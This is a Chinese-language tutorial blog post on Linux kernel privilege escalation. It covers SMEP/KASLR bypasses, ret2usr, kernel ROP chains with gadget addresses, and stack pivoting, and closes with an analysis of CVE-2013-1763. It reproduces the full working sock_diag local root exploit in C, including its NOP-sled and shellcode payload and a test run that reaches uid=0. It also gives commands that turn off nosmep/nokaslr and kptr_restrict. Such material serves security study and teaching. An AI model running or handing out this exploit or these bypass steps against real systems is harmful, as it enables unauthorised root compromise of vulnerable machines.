0x00 前言

花了一个月的时间开始学习linux内核提权,把学到的东西都整理在这了~前面介绍了关于内核提权的一些基础知识,后面会分析一个具体的漏洞。

本文首发于先知社区:https://xianzhi.aliyun.com/forum/topic/2054

Inhaltsverzeichnis

  1. 0x00 前言
  2. 0x01 内核提权
    1. 分级保护域
    2. 提权
  • 0x02 内核保护措施
    1. SMEP
    2. KASLR
    3. 内核地址显示限制
  • 0x03 ret2usr攻击
  • 0x04 内核ROP
    1. Stack Pivot
  • 0x05 CVE-2013-1763漏洞分析
    1. 漏洞描述
    2. 影响范围
    3. patch
    4. 漏洞函数
    5. 漏洞利用分析
  • 0x06 参考链接
  • 0x01 内核提权

    分级保护域

    在计算机中用于在发生故障时保护数据,提升计算机安全的一种方式,通常称为保护环,简称Rings。在一些硬件或者微代码级别上提供不同特权态模式的CPU架构上,保护环通常都是硬件强制的。Rings是从最高特权级(通常被叫作0级)到最低特权级(通常对应最大的数字)排列的。linux使用了ring0和ring3,ring0用于内核代码和驱动程序,ring3用于用户程序运行。

    提权

    在内核中想要获得root权限不能只是用system("/bin/sh");而是用下面的语句:

    commit_creds(prepare_kernel_cred (0));
    

    这个函数分配并应用了一个新的凭证结构(uid = 0, gid = 0)从而获取root权限。

    0x02 内核保护措施

    SMEP

    管理模式执行保护。

    保护内核使其不允许执行用户空间代码。也就是防止ret2usr攻击,后文会讲解ret2usr相关知识。

    检查smep是否开启:

    cat /proc/cpuinfo | grep smep
    

    1.png

    smep位于CR4寄存器的第20位,设置为1。CR4寄存器的值:0x1407f0 = 0001 0100 0000 0111 1111 0000。
    124422669.png

    关闭SMEP方法
    修改/etc/default/grub文件中的GRUB_CMDLINE_LINUX=””,加上nosmep/nosmap/nokaslr,然后update-grub就好。

    GRUB_CMDLINE_LINUX="nosmep/nosmap/nokaslr" 
    sudo update-grub
    

    KASLR

    内核地址空间随机化。

    内核地址显示限制

    即kptr_ restrict指示是否限制通过/ proc和其他接口暴露内核地址。

    0:默认情况下,没有任何限制。
    1:使用%pK格式说明符打印的内核指针将被替换为0,除非用户具有CAP_ SYSLOG特权
    2:使用%pK打印的内核指针将被替换为0而不管特权。
    

    也就是说,我们不能直接通过cat /proc/kallsyms来获得commit_creds的地址:
    124941715.png

    要禁用该限制使用下面的命令:
    sudo sysctl -w kernel.kptr_restrict=0
    17249779.png

    0x03 ret2usr攻击

    ret2usr(return-to-usr)利用了用户空间进程不能访问内核空间,但是内核空间能访问用户空间这个特性来重定向内核代码或数据流指向用户空间,并在非root权限下进行提权。

    将损坏的代码或数据指针重定向到用户空间中:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    |----------------------|                          |----------------------|
    | Function ptr |<== high mem ==>| sreuct vulu_opos |
    |----------------------| | *dptr; |
    | | |----------------------|
    |----------------------| 内核空间 | |
    | Data struct ptr | | |
    |----------------------| | |
    |----------------------|--------------------------|----------------------|
    |----------------------| | struct vuln_ops{ |
    | Data struct | | void(*a)(); |
    |----------------------| 用户空间 | int b; |
    | | |...}; |
    |----------------------| |----------------------|
    | escalate_privs() |<== low mem ==>| escalate_privs() |
    |----------------------| |----------------------|
    ·找一个函数指针来覆盖。
    ·在这里我们通常使用ptmx_fops->release()这个指针来指向要重写的内核空间。在内核空间中,ptmx_fops作为静态变量存在,它包含一个指向/ dev / ptmx的file_operations结构的指针。 file_operations结构包含一个函数指针,当对文件描述符执行诸如读/写操作时,该函数指针被执行。
    ·在用户空间中使用mmap提权payload,分配新的凭证结构:
    
    1
    2
    3
    4
    5
    int __attribute__((regparm(3))) (*commit_creds)(unsigned long cred);
    unsigned long __attribute__((regparm(3))) (*prepare_kernel_cred)(unsigned long cred);
    commit_creds = 0xffffffffxxxxxxxx;
    prepare_kernel_cred = 0xffffffffxxxxxxxx;
    void escalate_privs() { commit_creds(prepare_kernel_cred(0)); } //获取root权限

    stuct cred —— cred的基本单位

    prepare_kernel_cred —— 分配并返回一个新的cred

    commit_creds —— 应用新的cred

    ·在用户空间创建一个新的结构体“A”。
    
    ·用提权函数指针来覆盖这个"A"的指针。
    ·触发提权函数,执行iretq返回用户空间,执行system("/bin/sh")提权
    

    0x04 内核ROP

    多数情况下系统是会开启SMEP的,这时候就不能使用ret2usr了,可以使用内核ROP技术来绕过SMEP。

    内核空间的ROP和用户空间的ROP其实差不多,但是内核传参一般是通过寄存器而不是栈,而且内核并不和用户空间共用一个栈。

    我们构建一个ROP链让它执行上面的内核提权操作,但是不执行在用户空间的任何指令。

    构造的ROP链结构一般是这样的:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    |----------------------|
    | pop rdi; ret |<== low mem
    |----------------------|
    | NULL |
    |----------------------|
    | addr of |
    | prepare_kernel_cred()|
    |----------------------|
    | mov rdi, rax; ret |
    |----------------------|
    | addr of |
    | commit_creds() |<== high mem
    |----------------------|

    先将函数的第一个参数传入rdi寄存器中,然后ROP链中的第一条指令从堆栈中弹出空值,将这个值传递给prepare_kernel_cred()函数。然后将指向一个新的凭证结构的指针存储在rax中,并执行mov rdi, rax操作,再把这个rdi作为参数传递给commit_creds()。这样就实现了一个提权ROP链。

    同用户空间的ROP一样我们还是需要找gadget,内核空间的gadget也是可以简单地从内核二进制文件中提取的。
    首先使用extract-vmlinux脚本来解压/boot/vmlinuz*这个压缩内核镜像。extract-vmlinux位于/usr/src/linux-headers-3.13.0-32/scripts目录。
    用这个命令解压vmlinuz并保存到vmlinux:

    sudo ./extract-vmlinux /boot/vmlinuz-3.13.0-32-generic > vmlinux
    

    之后就可以用ROPgadget来获取gadget了,最好是一次性把gadget都写到一个文件中。

    ROPgadget --binary vmlinux > ~/ropgadget
    

    根据前面我们构造的ROP链,要找pop rdi; ret和mov rdi, rax; ret这俩gadget,但是在vmlinux里并没有后面这个gadget,只找到下面的:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    0xffffffff81016bc5 : pop rdi ; ret
    0xffffffff810e00d1 : pop rdx ; ret
    0xffffffff8118e3a0 : mov rdi, rax ; call r10
    0xffffffff8142b6d1 : mov rdi, rax ; call r12
    0xffffffff8130217b : mov rdi, rax ; call r14
    0xffffffff81d48ba6 : mov rdi, rax ; call r15
    0xffffffff810d5f34 : mov rdi, rax ; call r8
    0xffffffff8117f534 : mov rdi, rax ; call r9
    0xffffffff8133ed6b : mov rdi, rax ; call rbx
    0xffffffff8105f69f : mov rdi, rax ; call rcx
    0xffffffff810364bf : mov rdi, rax ; call rdx

    只好调整最初的ROP链,用mov rdi, rax ; call rdx和pop rdx; ret代替原来的。用call来执行commit_creds(),而rdi就指向新的凭证结构。
    ROP链如下:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    |----------------------|
    | pop rdi; ret |<== low mem
    |----------------------|
    | NULL |
    |----------------------|
    | addr of |
    | prepare_kernel_cred()|
    |----------------------|
    | pop rdx; ret |
    |----------------------|
    | addr of |
    | commit_creds() |
    |----------------------|
    | mov rdi, rax ; |
    | call rdx |<== high mem
    |----------------------|

    Stack Pivot

    由于我们只能在内核空间执行代码,但是不能把ROP链放到内核空间中,所以只能把ROP链放到用户空间。然后在内核空间找到合适的gadget放到ROP链中。这样就能从用户空间获取指针到内核空间了。
    怎么放?用Stack Pivot–>;

    1
    2
    3
    4
    mov rXx, rsp ; ret
    add rsp, ...; ret
    xchg rXx, rsp ; ret(xchg eXx, esp ; ret)
    xchg rsp, rXx ; ret(xchg esp, eXx ; ret)

    在64位的系统中使用这里的xchg rXx, rsp ; ret(xchg rsp, rXx ; ret)32位的寄存器,即xchg eXx, esp; ret或xchg esp, eXx ; ret。这样做其实是当rXx中包含有效的内核内存地址时,就把rXx的低32位设置为新的栈指针。(rax也被设置为rsp的低32位)

    之后我们还需要返回到用户空间里执行代码,用下面的两个指令:

    1
    2
    swapgs
    iretq

    使用iretq指令返回到用户空间,在执行iretq之前,执行swapgs指令。该指令通过用一个MSR中的值交换GS寄存器的内容,用来获取指向内核数据结构的指针,然后才能执行系统调用之类的内核空间程序。
    iretq的堆栈布局如下:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    |----------------------|
    | RIP |<== low mem
    |----------------------|
    | CS |
    |----------------------|
    | EFLAGS |
    |----------------------|
    | RSP |
    |----------------------|
    | SS |<== high mem
    |----------------------|

    新的用户空间指令指针(RIP),用户空间堆栈指针(RSP),代码和堆栈段选择器(CS和SS)以及具有各种状态信息的EFLAGS寄存器。

    最终构造的rop链是这样的:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33

    |----------------------|
    | pop rdi; ret |<== low mem
    |----------------------|
    | NULL |
    |----------------------|
    | addr of |
    | prepare_kernel_cred()|
    |----------------------|
    | pop rdx; ret |
    |----------------------|
    | addr of |
    | commit_creds() |
    |----------------------|
    | mov rdi, rax ; |
    | call rdx |
    |----------------------|
    | swapgs; |
    | pop rbp; ret |
    |----------------------|
    | 0xdeadbeefUL |
    | iretq; |
    |----------------------|
    | shell |
    |----------------------|
    | CS |
    |----------------------|
    | EFLAGS |
    |----------------------|
    | RSP |
    |----------------------|
    | SS |<== high mem
    |----------------------|

    还有一种比较简单的绕过SMEP的方法是使用ROP翻转CR4的第20位并禁用SMEP,然后再执行commit_creds(prepare_kernel_cred(0))获取root权限。
    构造下面的的结构,ROP链也像上面那样构造就行了:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    offset of rip
    pop rdi; ret
    mov CR4, rdi; ret
    commit_creds(prepare_kernel_cred(0))
    swapgs
    iretq
    RIP
    CS
    EFLAGS
    RSP
    SS

    关于具体的内核ROP可以查看这篇文章

    分了两篇,写得非常好,而且写了漏洞驱动来实践,感兴趣的可以跟进试试。

    0x05 CVE-2013-1763漏洞分析

    在exploit-db上找了比较典型的本地提权漏洞exp ,接下来将详细分析并复现这个漏洞。

    漏洞描述

    本地提权漏洞。在net/core/sock_diag.c中,__sock_diag_rcv_msg函数未对sock_diag_handlers数组传入的下标做边界检查,导致数组越界访问,从而可执行任意代码。

    影响范围

    linux kernel 3.3-3.8

    patch

    23094325.png

    可以看到patch只是在__sock_diag_rcv_msg函数里加上了数组边界判断。

    漏洞函数

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    static int __sock_diag_rcv_msg(struct sk_buff *skb, struct nlmsghdr *nlh)
    {
    int err;
    struct sock_diag_req *req = NLMSG_DATA(nlh);
    struct sock_diag_handler *hndl;
    if (nlmsg_len(nlh) < sizeof(*req))
    return -EINVAL;
    hndl = sock_diag_lock_handler(req->sdiag_family); //传入sdiag_family的值,返回数组指针sock_diag_handlers[reg->sdiag_family].但是没有做边界判断,可能导致越界。
    if (hndl == NULL)
    err = -ENOENT;
    else
    err = hndl->dump(skb, nlh); //可以利用这个来执行任意代码
    sock_diag_unlock_handler(hndl);
    return err;
    }
    1
    2
    3
    4
    5
    6
    7
    8
    static const inline struct sock_diag_handler *sock_diag_lock_handler(int family)
    {
    if (sock_diag_handlers[family] == NULL)
    request_module("net-pf-%d-proto-%d-type-%d", PF_NETLINK,
    NETLINK_SOCK_DIAG, family);
    mutex_lock(&sock_diag_table_mutex);
    return sock_diag_handlers[family];//这个函数没有对传入的family的值的范围,也就是当family >= AF_MAX时数组越界
    }
    1
    static struct sock_diag_handler *sock_diag_handlers[AF_MAX];

    漏洞利用分析

    首先我们需要知道如何才能在上面的漏洞下断点然后执行到里面去。查看net/core/sock_diag.c源码发现它使用了netlink.h头文件,我们可以利用netlink协议来创建socket并发送数据触发断点。
    查看netlink数据包结构:
    133842274.png

    Netlink套接字用于在进程和内核空间之间传递信息。它传达的每个netlink消息的应用程序必须提供以下变量:

    1
    2
    3
    4
    5
    6
    7
    struct nlmsghdr {
    __u32 nlmsg_len; /*包含标题的消息长度。*/
    __u16 nlmsg_type; /*消息内容的类型。*/
    __u16 nlmsg_flags; /*其他标志。*/
    __u32 nlmsg_seq; /* 序列号。*/
    __u32 nlmsg_pid; /*发送进程的PID。*/
    };

    根据其结构体编写代码:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    struct {  //netlink数据包格式
    struct nlmsghdr nlh;
    struct unix_diag_req r;
    } req;
    char buf[8192];
    //创建netlink协议的socket
    if ((fd = socket(AF_NETLINK, SOCK_RAW, NETLINK_SOCK_DIAG)) < 0){
    printf("Can't create sock diag socket\n");
    return -1;
    }
    //填充数据包使其能执行到__sock_diag_rcv_msg
    memset(&req, 0, sizeof(req));
    req.nlh.nlmsg_len = sizeof(req);
    req.nlh.nlmsg_type = SOCK_DIAG_BY_FAMILY;
    req.nlh.nlmsg_flags = NLM_F_ROOT|NLM_F_MATCH|NLM_F_REQUEST;
    req.nlh.nlmsg_seq = 123456;
    req.r.udiag_states = -1;
    req.r.udiag_show = UDIAG_SHOW_NAME | UDIAG_SHOW_PEER | UDIAG_SHOW_RQLEN;

    我们要获取root权限,前面说了,不能直接直接使用system(“/bin/sh”); 用kernel_code函数来重新分配一个新的凭证结构:

    1
    2
    3
    4
    int __attribute__((regparm(3)))
    kernel_code(){
    commit_creds(prepare_kernel_cred(0));
    return -1; }

    但是我们还需要考虑如何将这段代码放到内存中并执行,将family的值设置为多少才能返回到我们所需要的结构体。
    查看下面结构体:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    struct sock_diag_handler {
    __u8 family;//
    int (*dump)(struct sk_buff *skb, struct nlmsghdr *nlh); //利用dump指针
    };
    /*net/netlink/af_netlink.c下定义的结构体*/
    struct netlink_table {
    struct nl_portid_hash hash;
    struct hlist_head mc_list;
    struct listeners __rcu *listeners;
    unsigned int flags;
    unsigned int groups;
    struct mutex *cb_mutex;
    struct module *module;
    void (*bind)(int group);
    int registered;
    };
    static struct netlink_table *nl_table;
    struct nl_portid_hash {
    struct hlist_head *table;
    unsigned long rehash_time;
    unsigned int mask;
    unsigned int shift;
    unsigned int entries;
    unsigned int max_shift;
    u32 rnd;
    };

    经调试,我们发现rehash_time这个值一直在0x10000-0x130000这个范围内,那么我们就可以设置family的值取到nl_table.hash就可以了。

    cat /proc/kallsyms查看结构体的地址并计算相对偏移(如果系统开启了内核地址显示限制可以用这个命令禁用$ sudo sysctl -w kernel.kptr_restrict=0):

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    edvison@edvison:~$ cat /proc/kallsyms | grep commit_creds
    c10600a0 T commit_creds
    c17b0f1c r __ksymtab_commit_creds
    c17bcfb8 r __kcrctab_commit_creds
    c17c500a r __kstrtab_commit_creds
    edvison@edvison:~$ cat /proc/kallsyms | grep prepare_kernel_cred
    c1060360 T prepare_kernel_cred
    c17b49fc r __ksymtab_prepare_kernel_cred
    c17bed28 r __kcrctab_prepare_kernel_cred
    c17c4fce r __kstrtab_prepare_kernel_cred
    edvison@edvison:~$ cat /proc/kallsyms | grep nl_table
    c1852888 d nl_table_lock
    c185288c d nl_table_wait
    c19a00c8 b nl_table_users
    c19a00cc b nl_table
    edvison@edvison:~$ cat /proc/kallsyms | grep sock_diag_handlers
    c199ff40 b sock_diag_handlers

    计算family值:

    1
    family = (nl_table - sock_diag_handlers)/4 = (c19a00cc - c199ff40)/4 = 99L

    得到family的值后,就可以在0x10000-0x130000这个范围里mmap一块内存,在前面填充满nop,然后把我们的提权代码kernel_code()放到这块区域的最后面,这样就使得只要跳转到这块区域就能够一路执行到我们的提权代码。jmp_payload代码如下:

    1
    2
    3
    4
    5
    6
    7
    int jump_payload_not_used(void *skb, void *nlh)
    {
    asm volatile (
    "mov $kernel_code, %eax\n"
    "call *%eax\n"
    );
    }

    编译后,objdump查看这段函数:
    17387933.png

    编写payload,然后替换进kernel_code。

    1
    2
    3
    char jump[] = "\x55\x89\xe5\xb8\x11\x11\x11\x11\xff\xd0\x5d\xc3"; // jump_payload in asm
    unsigned long *asd = &jump[4]; //将\x11全部替换成kernel_code
    *asd = (unsigned long)kernel_code;

    完整exp如下:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    76
    77
    78
    79
    80
    81
    82
    83
    84
    85
    86
    87
    88
    89
    90
    91
    92
    93
    94
    95
    96
    97
    98
    99
    100
    101
    102
    103
    104
    105
    106
    107
    108
    109
    110
    111
    112
    113
    114
    115
    116
    117
    118
    119
    120
    121
    122
    123
    124
    125
    126
    127
    128
    129
    130
    131
    132
    133
    134
    135
    136
    137
    138
    139
    140
    /* 
    * quick'n'dirty poc for CVE-2013-1763 SOCK_DIAG bug in kernel 3.3-3.8
    * bug found by Spender
    * poc by SynQ
    *
    * hard-coded for 3.5.0-17-generic #28-Ubuntu SMP Tue Oct 9 19:32:08 UTC 2012 i686 i686 i686 GNU/Linux
    * using nl_table->hash.rehash_time, index 81
    *
    * Fedora 18 support added
    *
    * 2/2013
    */
    #include <unistd.h>
    #include <sys/socket.h>
    #include <linux/netlink.h>
    #include <netinet/tcp.h>
    #include <errno.h>
    #include <linux/if.h>
    #include <linux/filter.h>
    #include <string.h>
    #include <stdio.h>
    #include <stdlib.h>
    #include <linux/sock_diag.h>
    #include <linux/inet_diag.h>
    #include <linux/unix_diag.h>
    #include <sys/mman.h>
    typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
    typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
    _commit_creds commit_creds;
    _prepare_kernel_cred prepare_kernel_cred;
    unsigned long sock_diag_handlers, nl_table;
    int __attribute__((regparm(3))) //获取root权限
    kernel_code()
    {
    commit_creds(prepare_kernel_cred(0));
    return -1;
    }
    int jump_payload_not_used(void *skb, void *nlh)
    {
    asm volatile (
    "mov $kernel_code, %eax\n"
    "call *%eax\n"
    );
    }
    unsigned long
    get_symbol(char *name)
    {
    FILE *f;
    unsigned long addr;
    char dummy, sym[512];
    int ret = 0;

    f = fopen("/proc/kallsyms", "r");
    if (!f) {
    return 0;
    }

    while (ret != EOF) {
    ret = fscanf(f, "%p %c %s\n", (void **) &addr, &dummy, sym);
    if (ret == 0) {
    fscanf(f, "%s\n", sym);
    continue;
    }
    if (!strcmp(name, sym)) {
    printf("[+] resolved symbol %s to %p\n", name, (void *) addr);
    fclose(f);
    return addr;
    }
    }
    fclose(f);
    return 0;
    }
    int main(int argc, char*argv[])
    {
    int fd;
    unsigned family;
    struct {
    struct nlmsghdr nlh;
    struct unix_diag_req r;
    } req;
    char buf[8192];
    if ((fd = socket(AF_NETLINK, SOCK_RAW, NETLINK_SOCK_DIAG)) < 0){
    printf("Can't create sock diag socket\n");
    return -1;
    }
    memset(&req, 0, sizeof(req));
    req.nlh.nlmsg_len = sizeof(req);
    req.nlh.nlmsg_type = SOCK_DIAG_BY_FAMILY;
    req.nlh.nlmsg_flags = NLM_F_ROOT|NLM_F_MATCH|NLM_F_REQUEST;
    req.nlh.nlmsg_seq = 123456;
    //req.r.sdiag_family = 99;
    req.r.udiag_states = -1;
    req.r.udiag_show = UDIAG_SHOW_NAME | UDIAG_SHOW_PEER | UDIAG_SHOW_RQLEN;
    if(argc==1){
    printf("Run: %s Fedora|Ubuntu\n",argv[0]);
    return 0;
    }
    else if(strcmp(argv[1],"Fedora")==0){
    commit_creds = (_commit_creds) get_symbol("commit_creds");
    prepare_kernel_cred = (_prepare_kernel_cred) get_symbol("prepare_kernel_cred");
    sock_diag_handlers = get_symbol("sock_diag_handlers");
    nl_table = get_symbol("nl_table");
    if(!prepare_kernel_cred || !commit_creds || !sock_diag_handlers || !nl_table){
    printf("some symbols are not available!\n");
    exit(1);
    }

    family = (nl_table - sock_diag_handlers) / 4;
    printf("family=%d\n",family);
    req.r.sdiag_family = family;
    if(family>255){
    printf("nl_table is too far!\n");
    exit(1);
    }
    }
    else if(strcmp(argv[1],"Ubuntu")==0){
    commit_creds = (_commit_creds) 0xc10600a0;
    prepare_kernel_cred = (_prepare_kernel_cred) 0xc1060360;
    req.r.sdiag_family = 99; //c19a00cc - c199ff40 = nl_table - sock_diag_handlers = 99L
    }
    unsigned long mmap_start, mmap_size;
    mmap_start = 0x10000;
    mmap_size = 0x120000;
    printf("mmapping at 0x%lx, size = 0x%lx\n", mmap_start, mmap_size);
    if (mmap((void*)mmap_start, mmap_size, PROT_READ|PROT_WRITE|PROT_EXEC,
    MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) == MAP_FAILED) {
    printf("mmap fault\n");
    exit(1);
    }
    memset((void*)mmap_start, 0x90, mmap_size); //将申请的内存区域全部填充为nop
    char jump[] = "\x55\x89\xe5\xb8\x11\x11\x11\x11\xff\xd0\x5d\xc3"; // jump_payload in asm
    unsigned long *asd = &jump[4]; //将\x11全部替换成kernel_code
    *asd = (unsigned long)kernel_code;
    //把jump_payload放进mmap的内存的最后
    memcpy( (void*)mmap_start+mmap_size-sizeof(jump), jump, sizeof(jump));

    send(fd, &req, sizeof(req), 0); //发送socket触发漏洞
    printf("uid=%d, euid=%d\n",getuid(), geteuid() );
    system("/bin/sh");
    }

    编译测试结果:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    edvison@edvison:~$ uname -a
    Linux edvison 3.8.0 #1 SMP Wed Feb 14 21:38:25 CST 2018 i686 i686 i686 GNU/Linux
    edvison@edvison:~$ id
    uid=1000(edvison) gid=1000(edvison) 组=1000(edvison),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare),129(kvm),130(libvirtd)
    edvison@edvison:~$ gcc -g cve-2013-1763.c -o cve-2013-1763 -I /home/edvison/linux-3.8/
    cve-2013-1763.c: In function ‘main’:
    cve-2013-1763.c:148:23: warning: initialization from incompatible pointer type
    unsigned long *asd = &jump[4]; //将\x11全部替换成kernel_code
    ^
    edvison@edvison:~$ ./cve-2013-1763 Ubuntu
    mmapping at 0x10000, size = 0x120000
    uid=0, euid=0
    # id
    uid=0(root) gid=0(root) 组=0(root)
    # exit

    0x06 参考链接

    绕过smep:http://cyseclabs.com/slides/smep_bypass.pdf

    ret2dir:http://www.cnblogs.com/0xJDchen/p/6143102.html

    内核ROP第一部分:https://www.trustwave.com/Resources/SpiderLabs-Blog/Linux-Kernel-ROP---Ropping-your-way-to---(Part-1)/

    内核ROP第二部分:https://www.trustwave.com/Resources/SpiderLabs-Blog/Linux-Kernel-ROP---Ropping-your-way-to---(Part-2)/

    cve-2013-1763 exploit:https://www.exploit-db.com/exploits/33336/

    cve-2013-1763 exploit 代码分析 :https://my.oschina.net/fgq611/blog/181812

    netlink机制:http://www.cnblogs.com/iceocean/articles/1594195.html